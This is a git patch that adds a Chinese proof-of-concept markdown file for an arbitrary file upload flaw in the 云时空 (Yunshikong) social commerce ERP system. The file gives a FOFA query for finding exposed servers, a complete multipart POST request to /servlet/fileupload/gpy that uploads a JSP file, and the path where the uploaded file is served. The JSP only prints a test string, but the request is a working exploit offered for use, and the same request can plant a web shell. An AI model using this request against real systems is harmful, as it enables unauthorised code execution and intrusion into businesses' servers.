From f4efe878a2f49b2d0f63ef75cedba7a8c09bf29a Mon Sep 17 00:00:00 2001 From: wy876 <139549762+wy876@users.noreply.github.com> Date: Sat, 9 Dec 2023 12:39:53 +0800 Subject: [PATCH] =?UTF-8?q?Create=20=E4=BA=91=E6=97=B6=E7=A9=BA=E7=A4=BE?= =?UTF-8?q?=E4=BC=9A=E5=8C=96=E5=95=86=E4=B8=9AERP=E4=BB=BB=E6=84=8F?= =?UTF-8?q?=E6=96=87=E4=BB=B6=E4=B8=8A=E4=BC=A0.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- 云时空社会化商业ERP任意文件上传.md | 32 ++++++++++++++++++++++++++++++ 1 file changed, 32 insertions(+) create mode 100644 云时空社会化商业ERP任意文件上传.md diff --git a/云时空社会化商业ERP任意文件上传.md b/云时空社会化商业ERP任意文件上传.md new file mode 100644 index 0000000..18894f4 --- /dev/null +++ b/云时空社会化商业ERP任意文件上传.md @@ -0,0 +1,32 @@ +## 云时空社会化商业ERP任意文件上传 + +## fofa +``` +app="云时空社会化商业ERP系统" +``` + +## poc +``` +POST /servlet/fileupload/gpy HTTP/1.1 +Host: ip:8090 +Cache-Control: max-age=0 +Upgrade-Insecure-Requests: 1 +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.90 Safari/537.36 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 +Accept-Encoding: gzip, deflate, br +Accept-Language: zh-CN,zh;q=0.9 +Connection: close +Content-Type: multipart/form-data; boundary=4eea98d02AEa93f60ea08dE3C18A1388 +Content-Length: 220 + +--4eea98d02AEa93f60ea08dE3C18A1388 +Content-Disposition: form-data; name="file"; filename="random_str.jsp" +Content-Type: application/octet-stream + +<% out.println("random_str"); %> +--4eea98d02AEa93f60ea08dE3C18A1388-- +``` +![0a88234fdcf3709606fc26191caf848e](https://github.com/wy876/POC/assets/139549762/a7eb2358-6f1c-4d09-b76a-03a96a453da6) + +访问上传文件 +/uploads/pics/2023-12-9/random_str.jsp